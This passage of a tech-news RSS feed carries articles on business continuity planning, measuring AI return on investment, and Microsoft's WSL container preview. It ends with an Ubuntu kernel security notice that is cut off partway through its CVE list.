<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Determining the ROI of AI requires data that most companies lack]]></title>
<description><![CDATA[Leadership wants to scale AI. Budgets are tripling. Adoption is up.



Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?



Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data t...]]></description>
<link>https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Leadership wants to scale AI. Budgets are tripling. Adoption is up.</p>



<p class="wp-block-paragraph">Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?</p>



<p class="wp-block-paragraph">Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.</p>



<p class="wp-block-paragraph">Applying lessons learned from <a href="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html" data-type="link" data-id="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html">managing cloud spend</a> won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get <a href="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html" data-type="link" data-id="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html">cloud ROI</a>, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.</p>



<p class="wp-block-paragraph">But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.</p>



<h2 class="wp-block-heading">AI providers won’t fix this problem</h2>



<p class="wp-block-paragraph">The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.</p>



<p class="wp-block-paragraph">Not convinced? Compare what AWS gives you to what an AI provider gives you.</p>



<p class="wp-block-paragraph">AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.</p>



<p class="wp-block-paragraph">An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.</p>



<p class="wp-block-paragraph">If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. </p>



<h2 class="wp-block-heading">Three required sources</h2>



<p class="wp-block-paragraph">Building AI ROI measurement requires three data sources, stitched together in a single model.</p>



<ol class="wp-block-list">
<li><strong>Cost data, normalized across providers.</strong> Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.</li>



<li><strong>Application-layer telemetry. </strong>This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.</li>



<li><strong>Business data. </strong>Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.</li>
</ol>



<p class="wp-block-paragraph">Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.</p>



<h2 class="wp-block-heading">Why agentic AI makes this urgent</h2>



<p class="wp-block-paragraph">Single-call inference is the easy case. One request, one cost, one customer, one outcome.</p>



<p class="wp-block-paragraph">Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.</p>



<p class="wp-block-paragraph">If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.</p>



<p class="wp-block-paragraph">When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.</p>



<h2 class="wp-block-heading">What changes when the three sources come together</h2>



<p class="wp-block-paragraph">Once the three sources are stitched together, the AI investment conversation changes.</p>



<p class="wp-block-paragraph">Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. </p>



<p class="wp-block-paragraph">Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.</p>



<h2 class="wp-block-heading">The build trap</h2>



<p class="wp-block-paragraph">AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.</p>



<p class="wp-block-paragraph">The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.</p>



<p class="wp-block-paragraph">It is a trap. Three reasons.</p>



<p class="wp-block-paragraph">Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.</p>



<p class="wp-block-paragraph">The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.</p>



<p class="wp-block-paragraph">The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.</p>



<p class="wp-block-paragraph">The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.</p>



<p class="wp-block-paragraph">The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[WSL container: A quiet revolution for Windows development]]></title>
<description><![CDATA[Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has ...]]></description>
<link>https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Running containers on Windows has never been as easy as it should be. While there are versions of <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html" data-type="link" data-id="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker Desktop</a> and <a href="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html" data-type="link" data-id="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html">Podman</a> that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.</p>



<p class="wp-block-paragraph">Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a <a href="https://code.visualstudio.com/docs/remote/vscode-server" data-type="link" data-id="https://code.visualstudio.com/docs/remote/vscode-server">VS Code Server</a> in every container you’re building and testing. If you’re working with <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a>, that’s even more complexity that needs to be managed, dragging you away from code.</p>



<p class="wp-block-paragraph">I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.</p>



<p class="wp-block-paragraph">So, it was good to see Microsoft make several announcements around WSL at <a href="https://news.microsoft.com/build-2026/">Build 2026</a> as part of <a href="https://www.infoworld.com/article/4188967/making-windows-a-developer-platform-again.html">a push to make Windows a developer platform again</a>. The first, an improved WSL3, is still some way away, but the second, <a href="https://devblogs.microsoft.com/commandline/wsl-container-is-now-available-for-public-preview/">WSL-native container support</a>, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.</p>



<p class="wp-block-paragraph">Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.</p>



<h2 class="wp-block-heading">Getting started with WSL container</h2>



<p class="wp-block-paragraph">WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter <code>wsl --update --pre-release</code>.</p>



<p class="wp-block-paragraph">This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering <code>wslc</code>, which should <a href="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers" data-type="link" data-id="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers">list the available commands</a>. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).</p>



<p class="wp-block-paragraph">Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.</p>



<h2 class="wp-block-heading">Calling Linux containers from Windows applications</h2>



<p class="wp-block-paragraph">Things get more interesting when you start to use the <a href="https://wsl.dev/api-reference/">WSL container API</a> from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.</p>



<p class="wp-block-paragraph">The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided <a href="https://github.com/microsoft/WSL/tree/master/doc/samples">sample code</a> to show you what’s possible at this early stage.</p>



<p class="wp-block-paragraph">Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.</p>



<p class="wp-block-paragraph">It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.</p>



<h2 class="wp-block-heading">Manage Linux containers from Windows</h2>



<p class="wp-block-paragraph">If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the <a href="https://github.com/mhackermsft/wslcontainerdesktop" data-type="link" data-id="https://github.com/mhackermsft/wslcontainerdesktop">WSL Container Desktop</a>, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the <a href="https://github.com/microsoft/windowsappsdk" data-type="link" data-id="https://github.com/microsoft/windowsappsdk">Windows App SDK</a> installed, and some features require access to the Azure CLI.</p>



<p class="wp-block-paragraph">WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.</p>



<p class="wp-block-paragraph">Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.</p>



<p class="wp-block-paragraph">Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.</p>



<h2 class="wp-block-heading">Run Kubernetes inside Windows for cloud-native development</h2>



<p class="wp-block-paragraph">One of the more useful features of WSL Container Desktop is the ability to quickly stand up a <a href="https://k3s.io/" data-type="link" data-id="https://k3s.io/">K3s</a> Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own <a href="https://www.infoworld.com/article/3964051/headlamp-a-multicluster-kubernetes-user-interface.html">Headlamp UI</a>, making it easy to go between your development environment and a production Kubernetes cluster.</p>



<p class="wp-block-paragraph">It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.</p>



<p class="wp-block-paragraph">The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8597-1: Linux kernel (IBM) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3688420/unix-server/usn-8597-1-linux-kernel-ibm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688420/unix-server/usn-8597-1-linux-kernel-ibm-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:46:09 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVME drivers;
  - PCI subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Framebuffer layer;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - SMB network file system;
  - SquashFS file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - CPU frequency scaling framework;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - Network traffic control;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - ALSA framework;
  - FireWire sound drivers;
  - Creative Sound Blaster X-Fi driver;
  - SoC audio core drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2023-52682, CVE-2023-52737, CVE-2023-53545, CVE-2023-53629,
CVE-2024-27389, CVE-2024-35865, CVE-2024-36898, CVE-2024-36922,
CVE-2024-41079, CVE-2024-46715, CVE-2024-46770, CVE-2024-47809,
CVE-2024-50012, CVE-2024-53221, CVE-2024-56557, CVE-2024-56584,
CVE-2024-56657, CVE-2024-56719, CVE-2024-56727, CVE-2025-21712,
CVE-2025-22107, CVE-2025-23141, CVE-2025-38006, CVE-2025-38105,
CVE-2025-38192, CVE-2025-38562, CVE-2025-38626, CVE-2025-38659,
CVE-2025-38710, CVE-2025-39748, CVE-2025-39764, CVE-2025-40005,
CVE-2025-40016, CVE-2025-40103, CVE-2025-40323, CVE-2025-68206,
CVE-2025-68239, CVE-2025-68256, CVE-2025-68307, CVE-2025-68358,
CVE-2025-71150, CVE-2025-71161, CVE-2025-71221, CVE-2025-71232,
CVE-2025-71233, CVE-2025-71235, CVE-2025-71236, CVE-2025-71237,
CVE-2025-71238, CVE-2025-71239, CVE-2025-71265, CVE-2025-71266,
CVE-2025-71267, CVE-2025-71274, CVE-2025-71287, CVE-2025-71292,
CVE-2026-23031, CVE-2026-23066, CVE-2026-23100, CVE-2026-23113,
CVE-2026-23141, CVE-2026-23157, CVE-2026-23169, CVE-2026-23204,
CVE-2026-23220, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324,
CVE-2026-23335, CVE-2026-23339, CVE-2026-23340, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23362, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23370, CVE-2026-23372,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23388,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23420, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439,
CVE-2026-23442, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31400, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31411, CVE-2026-31415, CVE-2026-31416,
CVE-2026-31417, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31427, CVE-2026-31428,
CVE-2026-31433, CVE-2026-31447, CVE-2026-31450, CVE-2026-31452,
CVE-2026-31454, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
